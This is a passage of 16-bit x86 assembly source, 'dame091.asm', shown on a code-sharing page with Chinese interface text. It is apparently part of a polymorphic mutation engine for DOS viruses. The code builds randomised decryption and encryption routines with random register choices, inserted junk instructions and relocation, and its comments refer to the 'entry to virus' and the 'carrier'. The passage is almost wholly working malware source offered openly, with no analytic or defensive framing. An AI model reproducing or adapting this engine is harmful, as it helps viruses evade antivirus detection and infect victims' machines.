?? dame091.asm
字號:
jz s1
call get_rand ; get a random initial value
mov _pointer_value1,ax ; for the pointer register
call get_another ; get a counter register
s1: stosb ; Store the counter register
xchg ax,dx
mov al,84 ; Assume no encryption register
call one_in_two ; 50% change of having an
js s2 ; encryption register
; Note: This merely serves as
; an extra register and may or
; may not be used as the
; encryption register.
call get_another ; get a register to serve as
s2: stosb ; the encryption register
cmp ax,dx ; normalise counter/encryption
ja s3 ; register pair so that the
xchg ax,dx ; smaller one is always in the
s3: mov ah,dl ; high byte
cmp ax,305 ; both BX and BP used?
jz s0 ; then try again
cmp ax,607 ; both SI and DI used?
jz s0 ; try once more
s4: mov si,offset reg_table1 ; Use the table
mov ax,3 ; Assume one pointer register
test ch,80 ; Using two registers?
jz use_one_pointer_reg
add si,4*3 ; Go to two register table
add al,4 ; Then use appropriate mask
use_one_pointer_reg:
call get_rand_bx ; Get a random value
and bx,ax ; Apply mask to it
add si,bx ; Adjust table offset
add bx,bx ; Double the mask
add si,bx ; Now table offset is right
lodsw ; Get the random register pair
mov bx,ax ; Check if the register in the
and bx,7 ; low byte is already used
cmp byte ptr [bx+_used_regs],0
jnz s4 ; If so, try again
mov bl,ah ; Otherwise, check if there is
or bl,bl ; a register in the high byte
js s5 ; If not, we are done
cmp byte ptr [bx+_used_regs],0 ; Otherwise, check if it is
jnz s4 ; already used
s5: stosw ; Store _pointer_reg1,
movsb ; _pointer_reg2, and
; _pointer_rm
calculate_maxnest:
call get_rand ; Random value for _maxnest
and al,0f ; from 0 to MAXNEST
cmp al,MAXNEST ; Is it too large?
ja calculate_maxnest ; If so, try again
stosb ; Otherwise, we have _maxnest
call clear_used_regs ; mark no registers used
encode_setup: ; encode setup portion
mov di,_decryptpointer ; (pre-loop) of the routines
call twogarble ; start by doing some garbling
; on the decryption routine
mov si,offset _counter_reg ; now move the initial
push si ; values into each variable
encode_setup_get_another: ; register -- encode them in a
call get_rand_bx ; random order for further
; variability
and bx,3 ; get a random register to en-
mov al,[si+bx] ; code, i.e. counter, pointer,
cbw ; or encryption value register
test al,80 ; is it already encoded?
jnz encode_setup_get_another ; then get another register
or byte ptr [bx+_counter_reg],80 ; mark it encoded in both the
mov si,ax ; local and
inc byte ptr [si+_used_regs] ; master areas
add bx,bx ; convert to word offset
mov dx,word ptr [bx+_counter_value] ; find value to set the
; register to
mov _nest,0 ; clear the current nest count
call mov_reg_xxxx ; and encode decryption routine
; instruction
call twogarble ; garble it some more
call swap_decrypt_encrypt ; now work on the encryption
; routine
push cx ; save the current bitmap
and cl,not 7 ; encode short routines only
call _mov_reg_xxxx ; encode the encryption routine
; instruction
pop cx ; restore bitmap
mov _encryptpointer,di ; return attention to the
; decryption routine
pop si
mov dx,4
encode_setup_check_if_done: ; check if all the variables
; have been encoded
lodsb ; get the variable
test al,80 ; is it encoded?
jz encode_setup ; nope, so continue encoding
dec dx ; else check the next variable
jnz encode_setup_check_if_done ; loop upwards
mov si,offset _encryptpointer ; Save the addresses of the
mov di,offset _loopstartencrypt ; beginning of the loop in
movsw ; the encryption and decryption
movsw ; routines
; Encode the encryption/decryption part of loop
mov _relocate_amt,0 ; reset relocation amount
call do_encrypt1 ; encode encryption
test ch,40 ; dword encryption?
jz dont_encrypt2 ; nope, skip
mov _relocate_amt,2 ; handle next word to encrypt
call do_encrypt1 ; and encrypt!
dont_encrypt2:
; Now we are finished encoding the decryption part of the loop. All that
; remains is to encode the loop instruction, garble some more, and patch
; the memory manipulation instructions so they encrypt/decrypt the proper
; memory locations.
mov bx,offset _loopstartencrypt ; first work on the encryption
push cx ; save the bitmap
and cl,not 7 ; disable garbling/big routines
call encodejmp ; encode the jmp instruction
pop cx ; restore the bitmap
mov ax,0c3fc ; cld, ret ; encode return instruction
stosw ; in the encryption routine
mov si,offset _encrypt_relocator ; now fix the memory
mov di,_start_encrypt ; manipulation instructions
push cx ; cx is not auto-preserved
call relocate ; fix address references
pop cx ; restore cx
mov bx,offset _loopstartdecrypt ; Now work on decryption
call encodejmp ; Encode the jmp instruction
push di ; Save the current pointer
call clear_used_regs ; Mark all registers unused
pop di ; Restore the pointer
call twogarble ; Garble some more
test cl,8 ; Paragraph alignment on
jnz align_paragraph ; entry to virus?
test ch,20 ; If it is a backwards
jz no_clear_prefetch ; decryption, then flush the
call clear_PIQ ; prefetch queue (for 386+)
no_clear_prefetch: ; Curse the PIQ!!!!!
call twogarble ; Garble: the final chapter
jmp short PIQ_done
align_paragraph:
mov dx,di ; Get current pointer location
sub dx,_decryptpointer2 ; Calculate offset when control
add dx,_start_decrypt ; is transfered to the carrier
inc dx ; Adjust for the JMP SHORT
inc dx
neg dx
and dx,0f ; Align on the next paragraph
cmp dl,10-2 ; Do we need to JMP?
jnz $+7 ; Yes, do it now
test ch,20 ; Otherwise, check if we need
jz PIQ_done ; to clear the prefetch anyway
call clear_PIQ_jmp_short ; Encode the JMP SHORT
PIQ_done:
mov _decryptpointer,di
mov si,offset _decrypt_relocator ; Calculate relocation amount
sub di,_decryptpointer2
add di,_start_decrypt
relocate:
test ch,20 ; Encrypting forwards or
jz do_encrypt_backwards ; backwards?
add di,_encrypt_length ; Backwards is /<0oI_
do_encrypt_backwards: ; uh huh uh huh uh huh
sub di,_pointer_value1 ; Calculate relocation amount
sub di,_pointer_value2
mov cx,word ptr [si-2] ; Get relocation count
jcxz exit_relocate ; Exit if nothing to do
xchg ax,di ; Otherwise we be in business
relocate_loop: ; Here we go, yo
xchg ax,di
lodsw ; Get address to relocate
xchg ax,di
add [di],ax ; Relocate mah arse!
loop relocate_loop ; Do it again 7 times
exit_relocate: ; ('cause that makes 8)
mov di,_decryptpointer ; Calculate the decryption
mov cx,di ; routine size to pass
sub cx,_decryptpointer2 ; back to the caller
ret
encodejmp:
mov di,word ptr [bx+_encryptpointer-_loopstartencrypt]
push bx
mov _nest,0 ; Reset nest count
mov al,_pointer_reg1 ; Get the pointer register
and ax,7 ; Mask out any modifications
mov dx,2 ; Assume word encryption
test ch,40 ; Word or Dword?
jz update_pointer1
shl dx,1 ; Adjust for Dword encryption
update_pointer1:
test ch,20 ; Forwards or backwards?
jz update_pointer2
neg dx ; Adjust for backwards
update_pointer2:
test ch,80 ; Are there two pointers?
jz update_pointer_now ; Continue only if so
sar dx,1 ; Halve the add value
push ax ; Save register to add
call add_reg_xxxx ; Add to first register
mov al,_pointer_reg2
and ax,7 ; Add to the second pointer
call add_reg_xxxx ; register
pop bx
test ch,8 ; Using a counter register?
jnz update_pointer_done ; If not, continue this
push bx ; Save first register
xchg ax,dx ; Move second register to DX
call get_another ; Get new register regX
call mov_reg_reg ; MOV regX, _pointer_reg2
pop dx ; Restore first register
call add_reg_reg ; ADD regX, _pointer_reg1
call clear_reg ; Clear the temp register
jmp short update_pointer_done ; Skip adjustment of pointer
; register (already done)
update_pointer_now:
call add_reg_xxxx ; Adjust pointer register
update_pointer_done:
mov dl,75 ; Assume JNZ
mov al,_counter_reg ; Is there a counter register?
and ax,7
cmp al,_sp
jz do_jnz
push dx ; Save JNZ
mov dx,1 ; Assume adjustment of one
test ch,10 ; Check counter direction
jz go_counter_forwards ; If forwards, increment the
; counter
cmp al,_cx ; Check if the counter is CX
jnz regular ; If not, then decrement the
; counter and continue
call one_in_two ; Otherwise, there is a 50%
js regular ; chance of using a LOOP
pop dx
mov dl,0e2 ; let us encode the LOOP
jmp short do_jnz
regular:neg dx
go_counter_forwards:
call add_reg_xxxx ; Adjust counter register
pop dx
do_jnz: pop bx
mov ax,[bx] ; Calculate value to JNZ/LOOP
sub ax,di ; back
dec ax
dec ax
xchg ah,al ; Value is in AL
mov al,dl ; jnz
or ah,ah ; Value >= 128? If so, it is
js jmplocation_okay ; impossible to JNZ/LOOP there
; due to stupid 8086 limitation
pop ax ax ; Take return locations off
jmp redo_dame ; the stack and encode again
jmplocation_okay:
stosw ; Encode JNZ/LOOP instruction
mov word ptr [bx+_encryptpointer-_loopstartencrypt],di
ret ; Save current location
encryption:
; This routine encodes the instruction which actually manipulates the memory
; location pointed to by the pointer register.
and ch,not 4 ; Default = no double reference
call one_in_two ; But there is a 50% chance of
js not_double_reference ; using a double reference
or ch,4 ; Yes, we are indeed using it
not_double_reference:
mov di,_decryptpointer ; Set the registers to work
mov bp,offset _decrypt_relocate_num ; with the decryption routine
call twogarble ; Insert some null instructions
xor ax,ax ; Get the value for the rm
mov al,_pointer_rm ; field corresponding to the
; pointer register/s used
call choose_routine ; Get random decryption type
call go_next ; to DX, BX, SI
push si dx si dx ; Save crypt value/register
; and crypt pointer
;; mov _nest,0 ; not needed - choose_routine does it
test ch,4
jz not_double_reference1 ; Double reference?
xchg ax,dx ; Pointer register/s to dx
call get_another ; Unused register to AX (reg1)
call mov_reg_reg ; MOV reg1,[pointer]
mov _kludge,dx ; Store the pointer register
not_double_reference1:
pop dx si ; Restore decryption pointer
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -